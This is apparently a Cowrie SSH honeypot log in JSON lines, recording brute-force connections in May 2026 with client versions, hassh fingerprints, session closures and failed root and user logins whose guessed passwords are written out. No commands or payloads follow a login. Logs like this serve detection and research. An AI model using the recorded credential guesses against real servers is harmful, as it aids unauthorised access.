{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:00.818825Z","src_ip":"69.48.205.231","session":"14530b7f1872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:00.957715Z","src_ip":"202.51.214.99","session":"c05975a09283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":58228,"dst_ip":"10.17.0.5","dst_port":22,"session":"9401dd966e48","protocol":"ssh","message":"New connection: 103.118.29.129:58228 (10.17.0.5:22) [session: 9401dd966e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:19.994864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:19.999430Z","src_ip":"103.118.29.129","session":"9401dd966e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:20.241727Z","src_ip":"103.118.29.129","session":"9401dd966e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37076,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0b802cb95c","protocol":"ssh","message":"New connection: 2.57.121.25:37076 (159.203.135.109:22) [session: 3b0b802cb95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:20.385876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:20.390347Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:20.490727Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gooddog","message":"login attempt [user/gooddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:20.964787Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userroot","password":"userroot","message":"login attempt [userroot/userroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:21.237371Z","src_ip":"103.118.29.129","session":"9401dd966e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"goldfinger","message":"login attempt [user/goldfinger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:22.067387Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:22.478485Z","src_ip":"103.118.29.129","session":"9401dd966e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"goheels","message":"login attempt [user/goheels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:23.174508Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":60020,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec3711dcbe75","protocol":"ssh","message":"New connection: 43.242.203.160:60020 (159.203.135.109:22) [session: ec3711dcbe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:23.458419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:23.525852Z","src_ip":"43.242.203.160","session":"ec3711dcbe75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:23.775269Z","src_ip":"43.242.203.160","session":"ec3711dcbe75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gogeta","message":"login attempt [user/gogeta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:24.278200Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"John","message":"login attempt [root/John] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:24.850520Z","src_ip":"43.242.203.160","session":"ec3711dcbe75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"glenwood","message":"login attempt [user/glenwood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:25.382347Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:26.485947Z","src_ip":"2.57.121.25","session":"3b0b802cb95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:26.977732Z","src_ip":"43.242.203.160","session":"ec3711dcbe75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd6d42efb41","protocol":"ssh","message":"New connection: 200.39.46.41:45010 (10.17.0.5:22) [session: 5bd6d42efb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:58.895883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:58.901626Z","src_ip":"200.39.46.41","session":"5bd6d42efb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.048176Z","src_ip":"200.39.46.41","session":"5bd6d42efb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":54650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f2a19e83696","protocol":"ssh","message":"New connection: 45.137.172.116:54650 (10.17.0.5:22) [session: 0f2a19e83696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.447077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.451786Z","src_ip":"45.137.172.116","session":"0f2a19e83696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.548582Z","src_ip":"45.137.172.116","session":"0f2a19e83696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lb123456","message":"login attempt [root/Lb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.675378Z","src_ip":"200.39.46.41","session":"5bd6d42efb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:06:59.973418Z","src_ip":"45.137.172.116","session":"0f2a19e83696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:00.825384Z","src_ip":"200.39.46.41","session":"5bd6d42efb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:01.074103Z","src_ip":"45.137.172.116","session":"0f2a19e83696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":43634,"dst_ip":"159.203.135.109","dst_port":22,"session":"61aafb8b861e","protocol":"ssh","message":"New connection: 43.242.203.160:43634 (159.203.135.109:22) [session: 61aafb8b861e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:06.751906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:06.776624Z","src_ip":"43.242.203.160","session":"61aafb8b861e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:07.052759Z","src_ip":"43.242.203.160","session":"61aafb8b861e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server01","message":"login attempt [root/Server01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:08.243589Z","src_ip":"43.242.203.160","session":"61aafb8b861e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":58308,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a22c43d326","protocol":"ssh","message":"New connection: 69.48.205.231:58308 (10.17.0.5:22) [session: c2a22c43d326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:09.458255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:09.462838Z","src_ip":"69.48.205.231","session":"c2a22c43d326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:09.493381Z","src_ip":"43.242.203.160","session":"61aafb8b861e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:09.513374Z","src_ip":"69.48.205.231","session":"c2a22c43d326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hyperic","message":"login attempt [root/hyperic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:09.747933Z","src_ip":"69.48.205.231","session":"c2a22c43d326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:10.801266Z","src_ip":"69.48.205.231","session":"c2a22c43d326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44764,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08ba6ca0d72","protocol":"ssh","message":"New connection: 80.94.92.171:44764 (159.203.135.109:22) [session: e08ba6ca0d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:16.208129Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:16.322551Z","src_ip":"80.94.92.171","session":"e08ba6ca0d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":47976,"dst_ip":"10.17.0.5","dst_port":22,"session":"7277aa97d301","protocol":"ssh","message":"New connection: 202.51.214.99:47976 (10.17.0.5:22) [session: 7277aa97d301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:21.982009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:21.987473Z","src_ip":"202.51.214.99","session":"7277aa97d301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:22.225915Z","src_ip":"202.51.214.99","session":"7277aa97d301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:07:23.209322Z","src_ip":"202.51.214.99","session":"7277aa97d301","protocol":"ssh"}
